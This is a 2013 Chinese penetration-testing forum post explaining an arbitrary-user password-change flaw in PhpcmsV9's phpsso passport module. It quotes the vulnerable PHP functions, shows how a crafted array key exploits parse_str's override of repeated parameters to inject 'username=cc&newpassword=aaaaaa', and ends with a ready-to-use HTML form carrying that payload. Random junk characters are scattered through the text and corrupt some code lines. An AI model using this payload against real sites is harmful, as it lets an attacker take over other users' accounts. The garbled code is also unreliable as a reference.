中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
5 e% ]' y) N, b& x* L8 |( }- n! }! B' d' u: u! j! T. y

8 x8 T3 V5 K- F: vparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);1 [& I* b; h" c! n! x# h  ^
6 z2 @4 P) p$ ?' J. s* f# U
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。! i6 V) i. Q+ M- r; o8 F, n

& h& e& c: D" H% o  N# |4 O" d我把它留给了你们。
; r0 U. E7 F: b不知道你们发现了它没有。9 H* s" P* g7 j

% R5 f" i# n! t) U8 o: w我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
+ C, }+ j) I5 b) u+ v9 M1 Q
6 x& F* j2 p5 \7 u( R: S所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
  p7 b- ]. i. @; z% {' e
' G/ v( ?* j( v也就是9 [- z$ \* L; ~2 Y+ d) F" i

4 Z4 K! @$ B; e8 gusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
% i8 l0 w' y* D- {6 h! p% B. R- q' `, n
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
" M2 p- b% C0 N) }
. S: y  W+ l  E6 U$ d- e
; h6 x, J7 P2 w其实我们有这样的机会,看看代码,如下:
# B+ p, }7 E0 V; P9 i2 {: M% |. \$ z. T- O' R0 F. h
6 m  g" L6 p) D+ `6 l
public function auth_data($data) {8 y1 c4 i* C& [8 @+ |7 d. k: \9 q6 o
                $s = $sep = '';
0 [) ?4 t# z" ^$ X                foreach($data as $k => $v) {# _, z( L* h1 y6 L% J& @
                        if(is_array($v)) {
/ l) K& Z) b8 r                                $s2 = $sep2 = '';, ^0 [' L2 E% G+ V" t& ]' D
                                foreach($v as $k2 => $v2) {, P* A: O) @9 _
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
: p' F7 b. N" L& q" d/ o                                        $sep2 = '&';
3 [2 V  _: t) q  a' |, [$ s                                }
# k# A) Y- F! y                                $s .= $sep.$s2;
: f8 X7 [3 [+ N# N                        } else {
8 S$ A- u+ M, Z+ f" L1 b  Q! Q6 g) g, y                                $s .= "$sep$k=".$this->_ps_stripslashes($v);' k8 U5 T* S2 B$ X8 E& u
                        }
: q' f1 ]( j, J. \8 U6 E. G8 m+ a4 M                        $sep = '&';
8 p* d* p3 q* x- k9 }: @                }
7 R. ^; r$ C+ ]! M; K! Z1 ?. F1 B1 l$ E. V" m
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));- T4 V/ B3 g+ _
                return $auth_s;
5 l5 Q+ t# a( s" E# L2 S        }% x( b& R! [4 v1 w, d
* K3 s  x1 u$ \! h
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
4 B: V* K$ e& r+ s3 H5 ]% f: x0 z) f( V% @1 [
举个例子
. T2 L) B0 Y" w- V+ }9 T$ ]
8 h( P7 z; y0 V* T3 D/ P$a[aaa=a&bbb] = 'a';5 F2 V2 A& `) U) I
7 b. L. ^9 b* H* w
会变成aaa=a&bbb=a5 m1 n0 v, J! T$ x; _3 Z- [
( G" u5 g6 K# [% A+ Q' B
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。, T6 L4 Y  x( q/ M9 t% j) W+ ~8 T/ P
7 O- e# `9 {; M# ]8 t
这个时候,我们可以再去看一个函数。5 P4 Q9 m& {; h5 p% N
. d1 \9 u% {# i: _, `, y
就在这个文件内:% I% k. ]; b5 O% d) @* O
  m" F* Y3 f& y0 c" Q' a  S7 Y
7 a" }2 F7 ~" D( y0 d7 l
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
% @: H% C% v/ ]' r                if($email && !$this->_is_email($email)) {
4 m$ L, h1 a9 X                        return -4;
+ N9 x, @# n7 A2 x                }
6 C! h% Q* N2 N# m, y                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));$ ~( g5 Z0 J9 Q2 U; J7 c$ Y
        }) B( V4 v- |% C; K) U' ~
4 F; ^- l  j" Z$ w! r, X) T
这是向通行证发了这样一个请求。; g2 }+ x9 j) I3 d; t2 w* z; `

3 d$ J* y& n7 X" T& Y: k% W我们再跟到通信证代码里去看看,就会有所发现。: D' K' A: h: P9 V) n: m: ~$ n

% N! w3 P6 {$ d! n+ V6 j' u0 v5 B+ `
2 ^8 c3 @$ ^. Z* j4 Z% O+ lpublic function edit() {
% a" I/ u3 w) n2 j. N& V6 M//能省就省,太长了不是吗?, n& w2 U1 |: c0 ~: h3 t
; _) N5 h. j4 }3 @4 n" F
if($this->username) {
7 Y: i# _' k5 k  k4 H. v  b//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
" ^3 [7 ?$ Q+ A$ D' B% z                                $res = $this->db->update($data, array('username'=>$this->username));
) Z" F- k  g  V$ A                        } else {5 d3 U7 a, J; j/ V
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
: c! H; J7 c& ~' w                                $res = $this->db->update($data, array('uid'=>$this->uid));
; O" n0 H! y4 D$ q                        }
/ t5 A% x( X5 i, V/ [5 w$ l" G5 y: h- Y8 ~# J: b9 u
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:+ Q4 E! Y0 A: c% _0 y

% B6 }) l; X: `& a8 _0 fpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')9 N- N3 t' p' }5 p4 J$ Q

* F% `6 t8 P# S. |6 y3 `很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。9 S. x8 |* P8 Q4 W/ ~1 e& v
" b8 E! U! _0 B( N- Z  _  q
我当然找到了:
# A4 E8 g9 d' L4 Lphpcms9/phpcms/modules/member/index.php- b* w6 h1 N8 B0 V, D7 |- A
6 f/ [. c, F+ [2 |! U
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
# a- `  z' a& t$ V+ s. J: ~
( Q, T7 y- P: O然后就没有然后了。
4 r( ?( A+ D7 }/ q- v5 [, \6 g& M
7 _% Z4 F: V) H. j/ P8 F<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
0 T4 C0 s. c  G* y/ C                                <table width="100%" cellspacing="0" class="table_form">6 x$ e" n$ R' c9 q
                                        <tr>, v9 C9 `+ z( n; ]6 F& p
                                                <th width="80">邮箱:</th>        5 R4 b. x3 W6 i0 u8 M- f
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>3 [& l$ F8 C( }% y
                                        </tr>0 G& h) O: l6 M0 P$ q8 B' ~
                                        <tr>) e) b& K4 `* Z9 R/ c: |
                                                <th width="80">原密码:</th>        3 ~# s& m/ y- c
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>3 ]( a; o  C/ j1 x; s. I; G
                                        </tr>5 F/ p5 K! U/ ?. s7 I2 D
                                        <tr>
' w! j5 x6 Z9 e- S% Y7 m, H* ]+ Q3 Z                                                <th>新密码:</th>% m$ w/ r1 L3 R: o, E! f
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
& f3 K9 {- q. _/ C+ n( M8 L                                        </tr>0 ?5 K; R  F$ `3 g3 ^* u9 z
                                        <th></th>
" R- F* F3 L" [5 _                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>+ ^/ s- I7 o3 }! a- w# z, u8 M2 X0 v
                                        </tr>
3 C* s1 f7 o3 j" q                                </table>
1 ^, K+ D5 |/ \- d# p. x0 m3 L8 j& t( n2 }- Y" }
                               
' M7 G* N2 ~8 ^4 ]                        </form>
& R1 H6 N! q, p' i




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2